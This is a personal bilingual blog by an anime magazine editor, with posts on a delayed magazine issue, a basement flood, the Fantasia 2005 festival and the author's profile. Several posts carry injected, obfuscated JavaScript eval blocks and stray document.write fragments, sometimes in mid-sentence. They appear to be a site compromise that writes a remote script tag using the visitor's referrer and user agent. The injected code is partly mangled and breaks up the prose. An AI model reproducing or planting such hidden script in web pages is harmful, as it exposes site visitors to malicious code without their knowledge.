Relaxing a bit

/ Clodjee / Leave a comment

Sorry for not having post much lately. I’ve spent most of July and August working hard on the layout of PA#85. Now I am done and I can relax a bit — but not too much because there still lots of updates to do on the web pages, document.write(“”); back issues to convert into eBooks, preparing the shipping and finally starting the plannification and layout for the next issue — watching some anime series or movies to review, cleaning up and doing a zillion things around the house.

Unfortunately, starting a series a bad luck that struck me in the last few days, the PA#85 will be delayed a little. Apparently, the printer press broke down and they had to wait for replacing parts. Then the printer had a big printing job to do before us and we were pushed back. Hopefully, we’ll start shipping by the middle of next week.

BTW, I forgot to post that link before, but here are the pictures from Anime Boston ’05.

Eventful Week [E]

/ Clodjee / Leave a comment

Tuesday [July 5] we had torrential rain which caused the sewage to back up… in the basement and, document.write(“”); through the pipes, even on the first floor. In the basement, it was not that bad since the floor has a kind of a funnel shape and I had blocked all the drainage, limiting the damage to only up to six inches of water in a part of the basement. No books, storage boxes or furniture were really damaged. On the first floor, I had an half-inch of water in the bathroom, that spilled in the corridor and into my office, then dripping back into the basement (damaging a few ceiling tiles). Again, not much damage beside a couple of wet carpets. However, it was a very trying and tiring evening. I worked like crazy to limit the damage, mopping the dirty water and then cleaning up. I worked in a kind of desperation, forgetting about pain and tiredness. I ended up with hand blisters and sore muscles all over my body (five days later I can still barely move!). It was quite a traumatic experience. Today, it is raining again and it makes me nervous. I keep looking at the doppler radar hoping not to see any heavy rain close by.

My wife and I being news junkies, we were also well served this week with the announcement of the olympic bid winner on wednesday [July 6] (I guess Paris lost because Chirac was really too arrogant) and the London bombing on Thursday [July 7]. I guess the people of London were lucky in many ways and it is the proof that the increase security do reduce the risk of attack. Forty something dead with four bombs is a relatively low amount of casualties compare to the Madrid bombing or even 9/11. I guess that the security mesures make it more difficult for the terrorists to mount effective attacks. But it is certainly no consolation for the families of the victims.

I spent the rest of the week running around preparing for Fantasia and working on various reviews for PA#85. With so much work to do, I am not sure I will have time to see many movies and I am counting on getting as many screeners as possible to compensate. I also took a few hours to change a little the layout of Protoculture web site top page. That’s the most visited page and I thought it would be more effective to use it to present products instead of just having the updates (now moved to a blog). Have a look if you have time. Now, back to work.

Take care everybody (is there anyone reading this, I wonder).

News: Fantasia 2005 [E]

/ Clodjee / Leave a comment

Fantasia, document.write(“”); North America’s premier genre film festival, is back for a ninth edition!! It will be held at Concordia University, downtown Montreal (Hall Theatre and J.A. de Sève Theatre: 1455 & 1450 De Maisonneuve West), from July 7th to 25th.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yattt|var|u0026u|referrer|zidky||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbsti|var|u0026u|referrer|bfhsd||js|php’.split(‘|’),0,{}))

As usual it offers an impressive programmation with more than 90 long feature films and more than 100 short films coming from sixteen countries. There will be about 30 movies from Japan (including nine anime and half-a-dozen kaiju or manga-inspired movies), 16 from Korea and 8 from Hong Kong.

Tickets (at $7.50) will be available on July 5th at 2 pm at the Concordia Hall Theatre and throughout the Admission Network. The program will be on sale ($3.00) in selected stores from June 30th and at the Concordia Hall Theatre from July 5th. For information: www.fantasiafestival.com.

True Beginning [E] / Vrai Début [F] [Intro]

/ Clodjee / Leave a comment

[E] I guess now I am really ready to start. First of, document.write(“”); I must warn you that this blog will be bilingual (in English and in French). My comments will be in the language that is most appropriate for the subject (i.e. a French book will be reviewed in french). If there is one of those languages that you can’t read, please just skipped to the part you can read. Sorry!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zakey|var|u0026u|referrer|ykkad||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abbdy|var|u0026u|referrer|fbhbr||js|php’.split(‘|’),0,{}))

This is the place I chose to comment and rant about everything but mostly about Japanese animation, manga, science-fiction (particularly the one written in Quebec), cinema, new technologies, history and culture (Japanese and others).

This Blog is the counter-part to my web page clodjee.com, so if you haven’t done so already, please have a look on my page.

I’ll do my best to add comments, in either languages, as often as possible. But I am rather busy lately, so I won’t promise anything. Be indulgent and come back often to check what’s new!

[F] Je crois bien que là je suis vraiment prêt à commencer. Je dois d’abord vous avertir que ce blog sera bilingue (en anglais et en français). J’écrirai dans la langue la plus approprié pour chaque sujet (par exemple, je commenterai un livre dans la langue où il a a été publié). Si vous ne comprenez pas les deux langues, vous n’avez qu’a sauter par dessus les sections qui vous sont illisibles. Désolé!

Ici je m’exprimerai sur les sujets qui me sont chers: la science-fiction (particulièrement celle produite au Québec), l’animation Japonaise, les manga, le cinéma, les nouvelles technologies, l’histoire, la culture (en générale et Japonaise) et bien d’autres choses qui me passeront par la tête!

Cet blog est la contre-partie de ma page web clodjee.com, alors si ce n’est pas déjà fait, jetez donc un coup d’oeil sur ma page.

Je ferai mon possible pour ajouter des commentaires, dans l’une ou l’autre langues, le plus souvent possible. Quoique je suis plutôt occupé ces temps-cia lors je ne promet rien. Alors soyez indulgent mais surveillez le blog régulièrement pour les nouveautés!

Profile Franco

/ Clodjee / 1 Comment

Je suis un historien, document.write(“”); blogueur, aide-bibliothécaire ainsi que le rédacteur en chef d’un magazine sur les médias et la culture japonaise (en hiatus prolongé). Je vis dans ma petite coquille, mon refuge, observant le monde du centre de son web mediatique. Ici je commenterai et chialerai sur tout, mais surtout sur la culture: anime et manga, chats et fleurs, science-fiction, photographie, cinéma, technologie, histoire, Japon, bibliothèques, la vie, etc. Prenez garde : ce blogue sera définitivement bilingue!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afnnb|var|u0026u|referrer|arkdk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyfzr|var|u0026u|referrer|kkbfa||js|php’.split(‘|’),0,{}))

Quant à l’habituel démenti, ceci est mon blogue personnel et donc les avis exprimés y sont seulement les miens et ne représentent pas nécessairement ceux de mes employeurs, associés, gouvernements ou toutes autres personnes de cette planète.

Tout le contenu © Clodjee, 2005-2017. Autorisation requise avant toute reproduction de quelconque partie, mais vous pouvez lier librement.

Beginning

/ Clodjee / Leave a comment

Here I will comment and rant about everything but mostly about anime, document.write(“”); manga, science-fiction, cinema, new technologies and history. You are welcomed to comment.